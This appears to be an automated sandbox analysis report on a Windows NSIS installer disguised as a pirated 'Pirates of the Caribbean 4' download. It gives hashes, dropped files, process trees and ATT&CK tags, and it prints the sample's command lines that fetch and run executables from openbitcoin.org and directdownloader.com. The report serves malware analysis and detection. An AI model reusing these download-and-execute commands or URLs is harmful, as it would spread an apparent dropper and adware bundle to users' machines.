46b1dbddd3052bb14cd159679cb6ab0f2b2e873ade6f156f4a4094cf7e21f0ee

General

Target

1c96e43f9fc0224e4f6d32933e41aabd.exe
Size

492KB
MD5

1c96e43f9fc0224e4f6d32933e41aabd
SHA1

30c62455f99aeda70518bedfe18b889b13aaea8d
SHA256

46b1dbddd3052bb14cd159679cb6ab0f2b2e873ade6f156f4a4094cf7e21f0ee
SHA512

d6a193ddda998cef1a2191d7a0cebb7ad1cdd15ba5acabc6c290710c2802cf0c8b3f7930f271a65cb5b56bec1cc1b9e0d8ab0a6b70b83530f58434ecd02a0832
SSDEEP

6144:Kuk4fqjCHQqF6jtY03ZgLpp6TURimpBwXVUTL7E97IkXQxBRUoz0JehYvH7Aw0v9:w4fwM6peEUBwXVwM9vylzdYvH7AwC

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
484	downloaderSTUB.exe
4884	downloaderSTUB.exe
4344	downloaderSTUB.exe
932	downloaderDDLR.exe
4764	downloaderOFFER0.exe
5108	preinstaller.exe

Loads dropped DLL 20 IoCs

pid	Process
4884	downloaderSTUB.exe
4344	downloaderSTUB.exe
4764	downloaderOFFER0.exe
932	downloaderDDLR.exe
484	downloaderSTUB.exe
484	downloaderSTUB.exe
4884	downloaderSTUB.exe
4764	downloaderOFFER0.exe
932	downloaderDDLR.exe
4344	downloaderSTUB.exe
4764	downloaderOFFER0.exe
484	downloaderSTUB.exe
4344	downloaderSTUB.exe
4884	downloaderSTUB.exe
932	downloaderDDLR.exe
4764	downloaderOFFER0.exe
484	downloaderSTUB.exe
4344	downloaderSTUB.exe
932	downloaderDDLR.exe
4884	downloaderSTUB.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x00060000000231f0-4.dat	nsis_installer_1
behavioral2/files/0x00060000000231f0-4.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1288 wrote to memory of 484	1288	1c96e43f9fc0224e4f6d32933e41aabd.exe	91
PID 1288 wrote to memory of 484	1288	1c96e43f9fc0224e4f6d32933e41aabd.exe	91
PID 1288 wrote to memory of 484	1288	1c96e43f9fc0224e4f6d32933e41aabd.exe	91
PID 1288 wrote to memory of 4344	1288	1c96e43f9fc0224e4f6d32933e41aabd.exe	92
PID 1288 wrote to memory of 4344	1288	1c96e43f9fc0224e4f6d32933e41aabd.exe	92
PID 1288 wrote to memory of 4344	1288	1c96e43f9fc0224e4f6d32933e41aabd.exe	92
PID 1288 wrote to memory of 4884	1288	1c96e43f9fc0224e4f6d32933e41aabd.exe	93
PID 1288 wrote to memory of 4884	1288	1c96e43f9fc0224e4f6d32933e41aabd.exe	93
PID 1288 wrote to memory of 4884	1288	1c96e43f9fc0224e4f6d32933e41aabd.exe	93
PID 1288 wrote to memory of 932	1288	1c96e43f9fc0224e4f6d32933e41aabd.exe	95
PID 1288 wrote to memory of 932	1288	1c96e43f9fc0224e4f6d32933e41aabd.exe	95
PID 1288 wrote to memory of 932	1288	1c96e43f9fc0224e4f6d32933e41aabd.exe	95
PID 1288 wrote to memory of 4764	1288	1c96e43f9fc0224e4f6d32933e41aabd.exe	94
PID 1288 wrote to memory of 4764	1288	1c96e43f9fc0224e4f6d32933e41aabd.exe	94
PID 1288 wrote to memory of 4764	1288	1c96e43f9fc0224e4f6d32933e41aabd.exe	94
PID 1288 wrote to memory of 5108	1288	1c96e43f9fc0224e4f6d32933e41aabd.exe	96
PID 1288 wrote to memory of 5108	1288	1c96e43f9fc0224e4f6d32933e41aabd.exe	96
PID 1288 wrote to memory of 5108	1288	1c96e43f9fc0224e4f6d32933e41aabd.exe	96

C:\Users\Admin\AppData\Local\Temp\1c96e43f9fc0224e4f6d32933e41aabd.exe
"C:\Users\Admin\AppData\Local\Temp\1c96e43f9fc0224e4f6d32933e41aabd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1288
- C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:484
- C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4344
- C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4884
- C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\optimizer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4764
- C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:932
- C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\preinstaller.exe 0 "Pirates of the Caribbean 4; On Stranger Tides (2011) DVDRip NL s" "Download"
  2⤵
  - Executes dropped EXE
  PID:5108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderOFFER2.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\preinstaller.exe

Filesize
213KB

MD5
06baef00ae0f0e42fc5fea24fc4eac42

SHA1
9161574590f09cfe4c24498827386ed57f2e8c58

SHA256
19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

SHA512
29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsk738B.tmp\NSISdl.dll

Filesize
9KB

MD5
5bb835829c74e3d44811e3ede37949e7

SHA1
1387586645bd4cd164c9d30a01b6de0c8ec94613

SHA256
f9b52c608d64d770f2f75858dfdf9328f07a47211713f56a25b82497ccda9cbe

SHA512
46e913c700e9a0942a473c5124acfb2888ae118316836a04104507ab48dc5a03fea3f2d51fba9e77d2840b7f0b08623a488dfc7e19b75ed71f7dcc6cbfbc79ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsk738C.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsk738D.tmp\NSISdl.dll

Filesize
1KB

MD5
53bed1c9fa1d13d27cb3f5b75dfa3d18

SHA1
9a73c7c60ed8de903880c1c2cbf49db212968ed6

SHA256
5a971fadbb73e21fe96734905392b92fc47ca8f243dcf0986d81bf361c398f85

SHA512
0a88c16be3226821b64a2f0dd1500e762627bea2adeab0d87ed9e5863b8b7a28a1b997cc200f8acb1fe025bfb4ccfa52423bd78e920a4f50d554e3996350e497

Download Submit
memory/1288-45-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/5108-46-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download

Analysis

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